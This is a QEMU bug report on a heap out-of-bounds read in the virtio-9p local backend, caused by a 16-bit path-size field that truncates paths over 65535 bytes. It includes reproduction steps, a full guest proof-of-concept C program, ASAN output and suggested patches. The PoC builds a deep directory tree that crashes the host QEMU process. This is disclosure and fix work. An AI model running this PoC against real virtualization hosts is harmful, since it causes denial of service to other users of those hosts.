9pfs V9fsPath.size uint16_t Truncation Causing Heap OOB Read
Host environment
- Operating system: Linux (Ubuntu 22.04)
- OS/kernel version: 5.15.0-171-generic x86_64
- Architecture: x86_64
- QEMU flavor: qemu-system-x86_64
- QEMU version: v10.2.90 (commit 8e711856, master)
- QEMU command line:
qemu-system-x86_64 \ -M pc -m 256M -nographic \ -kernel bzImage \ -initrd rootfs.cpio \ -append "console=ttyS0 panic=-1 quiet" \ -fsdev "local,id=myfs,path=/tmp/9pshare,security_model=none" \ -device "virtio-9p-pci,fsdev=myfs,mount_tag=hostshare"
Emulated/Virtualized environment
- Operating system: Minimal Linux with busybox
- OS/kernel version: Linux 6.19.9 x86_64
- Architecture: x86_64
Description of problem
Heap buffer overflow (OOB read) in the 9pfs (virtio-9p) local backend due
to V9fsPath.size being declared as uint16_t.
In fsdev/file-op-9p.h, V9fsPath.size is uint16_t. In
v9fs_path_sprintf() (hw/9pfs/9p.c:214), the return value of
g_vasprintf() (an int) is assigned to this uint16_t, silently
truncating paths longer than 65535 bytes. When v9fs_path_copy()
(hw/9pfs/9p.c:222) later duplicates the path using the truncated size,
it creates a tiny allocation (e.g., 2 bytes for a ~66KB path). Any
subsequent operation that reads the path as a C string (e.g., strrchr
in local_lstat at hw/9pfs/9p-local.c:189) reads past the allocation
boundary.
A guest with a mounted 9p share can create a ~260-level deep directory
tree with 255-character directory names (total path ~66KB), then
walks into it via openat(). The path accumulation happens in
local_name_to_path() (hw/9pfs/9p-local.c:1275). When the path
exceeds 65535 bytes, the truncation occurs. A subsequent getattr
(triggered by readdir/fstat) on the deep fid calls local_lstat()
which performs g_path_get_dirname() on the 2-byte buffer, causing
the OOB read.
The OOB read scans heap memory adjacent to the truncated allocation.
On ASAN builds, this is detected as a heap-buffer-overflow.
On non-ASAN builds, because the OOB read bytes are never returned to
the guest machine, it can only cause crashes (DoS). Additionally, the
truncated path size causes v9fs_path_is_ancestor() to produce false
positive matches, which can corrupt fid paths during rename operations.
Steps to reproduce
-
Build QEMU with AddressSanitizer:
mkdir build && cd build ../configure --enable-sanitizers --target-list=x86_64-softmmu make -j$(nproc) -
Prepare a guest with a statically-linked PoC binary (source below) and a kernel with
CONFIG_NET_9P_VIRTIO=y,CONFIG_9P_FS=y,CONFIG_VIRTIO_PCI=y. -
Create an empty directory for the 9p share:
mkdir /tmp/9pshare -
Launch QEMU with a 9p filesystem share:
qemu-system-x86_64 \ -M pc -m 256M -nographic \ -kernel bzImage \ -initrd rootfs.cpio \ -append "console=ttyS0 panic=-1 quiet" \ -fsdev "local,id=myfs,path=/tmp/9pshare,security_model=none" \ -device "virtio-9p-pci,fsdev=myfs,mount_tag=hostshare" -
Inside the guest, the PoC:
- Mounts the 9p share:
mount -t 9p hostshare /mnt -o trans=virtio,version=9p2000.L - Creates a 260-level deep directory tree with 255-char names via
mkdirat() - Walks from
/mntinto the tree viaopenat()(each step accumulates the path) - Calls
fdopendir()/readdir()at max depth, triggeringgetattr→local_lstat
- Mounts the 9p share:
-
ASAN detects heap-buffer-overflow in
strrchrcalled fromg_path_get_dirnameinlocal_lstat.
Guest PoC source (poc_9pfs_walk.c)
Compile with: musl-gcc -static -O2 -o poc_9pfs_walk poc_9pfs_walk.c
#include <sys/mount.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <dirent.h>
#include <string.h>
#include <errno.h>
#define DEPTH 260
#define NAMELEN 255
static void puts_str(const char *s) {
write(1, s, strlen(s));
write(1, "\n", 1);
}
static void puts_int(const char *prefix, int val) {
char buf[32];
int i = 0;
write(1, prefix, strlen(prefix));
if (val < 0) { write(1, "-", 1); val = -val; }
if (val == 0) { write(1, "0", 1); }
else {
while (val > 0 && i < 30) { buf[i++] = '0' + (val % 10); val /= 10; }
while (--i >= 0) write(1, &buf[i], 1);
}
write(1, "\n", 1);
}
int main(void) {
int fd, newfd, depth, ret;
DIR *dir;
struct dirent *ent;
char dirname[256];
puts_str("[*] 9pfs V9fsPath.size truncation OOB PoC");
mkdir("/mnt", 0755);
ret = mount("hostshare", "/mnt", "9p", 0,
"trans=virtio,version=9p2000.L");
if (ret < 0) {
ret = mount("hostshare", "/mnt", "9p", 0, "trans=virtio");
if (ret < 0) { puts_str("[!] Mount failed"); return 1; }
}
puts_str("[*] 9p share mounted at /mnt");
memset(dirname, 'A', NAMELEN);
dirname[NAMELEN] = '\0';
fd = open("/mnt", O_RDONLY | O_DIRECTORY);
if (fd < 0) { puts_str("[!] open /mnt failed"); return 1; }
/* Create 260-level deep directory tree over 9p */
for (depth = 0; depth < DEPTH; depth++) {
ret = mkdirat(fd, dirname, 0755);
if (ret < 0 && errno != EEXIST) break;
newfd = openat(fd, dirname, O_RDONLY | O_DIRECTORY);
if (newfd < 0) break;
close(fd);
fd = newfd;
}
close(fd);
/* Walk from root to trigger path accumulation + truncation */
fd = open("/mnt", O_RDONLY | O_DIRECTORY);
for (depth = 0; depth < DEPTH; depth++) {
newfd = openat(fd, dirname, O_RDONLY | O_DIRECTORY);
if (newfd < 0) break;
close(fd);
fd = newfd;
}
/* List directory → triggers getattr → OOB read */
dir = fdopendir(fd);
if (dir) {
while ((ent = readdir(dir)) != NULL) {}
closedir(dir);
} else {
close(fd);
}
umount("/mnt");
return 0;
}
Additional information
ASAN output
==1580914==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200012d0d2 at pc 0x555722f8a06f bp 0x7f4d4fdff9d0 sp 0x7f4d4fdff198
READ of size 3 at 0x60200012d0d2 thread T3
#0 0x555722f8a06e in __interceptor_strrchr (qemu-system-x86_64+0x97a06e) (BuildId: 5f5d875ccacda782584a40091cacc23e1b9e8449)
#1 0x7f4de8a8e77b in g_path_get_dirname (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x3f77b) (BuildId: 6b4f160dbc5397c2f502dc4f08a8cff259917926)
#2 0x55572322c63e in local_lstat hw/9pfs/9p-local.c:189:21
#3 0x555723267973 in v9fs_co_lstat hw/9pfs/cofile.c:59:5
#4 0x5557232455b1 in v9fs_getattr hw/9pfs/9p.c:1637:18
#5 0x5557249f148d in coroutine_trampoline util/coroutine-ucontext.c:175:9
#6 0x7f4de75ac12f stdlib/../sysdeps/unix/sysv/linux/x86_64/__start_context.S:90
0x60200012d0d2 is located 0 bytes to the right of 2-byte region [0x60200012d0d0,0x60200012d0d2)
allocated by thread T0 here:
#0 0x555722ff594e in malloc (qemu-system-x86_64+0x9e594e) (BuildId: 5f5d875ccacda782584a40091cacc23e1b9e8449)
#1 0x7f4de8aad738 in g_malloc (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x5e738) (BuildId: 6b4f160dbc5397c2f502dc4f08a8cff259917926)
Thread T3 created by T0 here:
#0 0x555722fde6dc in pthread_create (qemu-system-x86_64+0x9ce6dc) (BuildId: 5f5d875ccacda782584a40091cacc23e1b9e8449)
#1 0x5557249987ee in qemu_thread_create util/qemu-thread-posix.c:454:11
#2 0x5557249f6719 in do_spawn_thread util/thread-pool.c:150:5
#3 0x5557249f6382 in spawn_thread_bh_fn util/thread-pool.c:158:5
#4 0x5557249e1fbf in aio_bh_call util/async.c:173:5
#5 0x5557249e275a in aio_bh_poll util/async.c:220:13
#6 0x555724985755 in aio_dispatch util/aio-posix.c:390:5
#7 0x5557249e6648 in aio_ctx_dispatch util/async.c:365:5
#8 0x7f4de8aa4d3a in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x55d3a) (BuildId: 6b4f160dbc5397c2f502dc4f08a8cff259917926)
SUMMARY: AddressSanitizer: heap-buffer-overflow (qemu-system-x86_64+0x97a06e) (BuildId: 5f5d875ccacda782584a40091cacc23e1b9e8449) in __interceptor_strrchr
Shadow bytes around the buggy address:
0x0c048001d9c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c048001d9d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c048001d9e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c048001d9f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c048001da00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c048001da10: fa fa fa fa fa fa fd fa fa fa[02]fa fa fa fd fa
0x0c048001da20: fa fa fd fa fa fa fd fd fa fa fd fa fa fa fd fd
0x0c048001da30: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
0x0c048001da40: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fa
0x0c048001da50: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fa
0x0c048001da60: fa fa fd fd fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==1580914==ABORTING
The 2-byte region [0x60200012d0d0,0x60200012d0d2) confirms the truncated
size: the full path is ~66048 bytes, but uint16_t truncation reduces
size to 2, so g_memdup() allocates only 2 bytes containing "./".
strrchr then scans past this into freed heap regions (fd shadow bytes).
Suggested fix
Change V9fsPath.size from uint16_t to uint32_t:
struct V9fsPath {
uint32_t size; /* was: uint16_t */
char *data;
};
Or add overflow detection in v9fs_path_sprintf():
void v9fs_path_sprintf(V9fsPath *path, const char *fmt, ...)
{
va_list ap;
int len;
v9fs_path_free(path);
va_start(ap, fmt);
len = g_vasprintf(&path->data, fmt, ap) + 1;
va_end(ap);
if (len > UINT16_MAX) {
g_free(path->data);
path->data = NULL;
path->size = 0;
return; /* or return error */
}
path->size = len;
}